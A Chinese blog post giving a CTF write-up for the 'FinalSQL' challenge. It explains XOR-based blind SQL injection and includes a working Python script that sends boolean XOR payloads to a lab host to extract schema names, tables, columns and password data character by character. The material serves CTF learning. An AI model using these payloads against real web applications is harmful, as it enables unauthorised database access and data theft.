异或sql注入

来自

[极客大挑战 2019]FinalSQL

开始以为是正常的sql注入,因为这五个都点不出东西。

但是常规和非常规方法都用过了,fuzz了半天发现全给过滤完了。

看了看其他wp才发现注入点就在这五个数字这里,用的知识点叫异或注入。

后续就是我自己的复现了。

这里有个异或注入的博客:

https://www.jianshu.com/p/d41ba0cb3f79

这里借用一下博客:https://blog.csdn.net/qq_60829702/article/details/127445276的盲注脚本:

'''
注:这里加上time.sleep可以正确的把buuctf中的题目数据正确爆出来。timeout应该不用加,但是加了也没事
'''
import requests
import string
import time

strings = string.printable
flag = ''

for num in range(1,300):
    time.sleep(0.06)
    for i in strings:
        url='http://26817d9c-ef28-4799-a2dd-acbaf6e47b7c.node4.buuoj.cn:81/search.php'
        # payload='1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^1'.format(num,ord(i))    #爆数据库
        #information_schema,mysql,performance_schema,test,geek
        # payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))={1})^1".format(num,ord(i))    #爆表
        # F1naI1y,Flaaaaag
        # payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{0},1))={1})^1".format(num,ord(i))    #爆列名
        # F1naI1y:id,username,password          Flaaaaag:id,fl4gawsl
        # payload='1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),{0},1))={1})^1'.format(num,ord(i))
        payload='1^(ascii(substr(reverse((select(group_concat(password))from(F1naI1y))),{0},1))={1})^1'.format(num,ord(i))                           #爆字段
                                   #爆字段

        get_data={"id":payload}
        res = requests.get(url,params=get_data,timeout=5)
        time.sleep(0.04)
        if 'this' in res.text:
            flag += i
            print(flag)
        else:
            continue
print(flag)

注意:这里爆数据使用了reverse是因为原博主看一些师傅的wp发现flag是在最后的,前面特别多无用的数据要爆很久,然后直接取巧了。
大家也可以使用二分法的方式来爆数据,时间肯定比我这个程序快,实现起来也不难,但是我就偷一点懒,等下一次碰到盲注的题目试一下二分法。还有最后搞出来的数据大家反转一下就是flag了。

posted @ 2023-10-06 16:30  Eddie_Murphy  阅读(113)  评论(0编辑  收藏  举报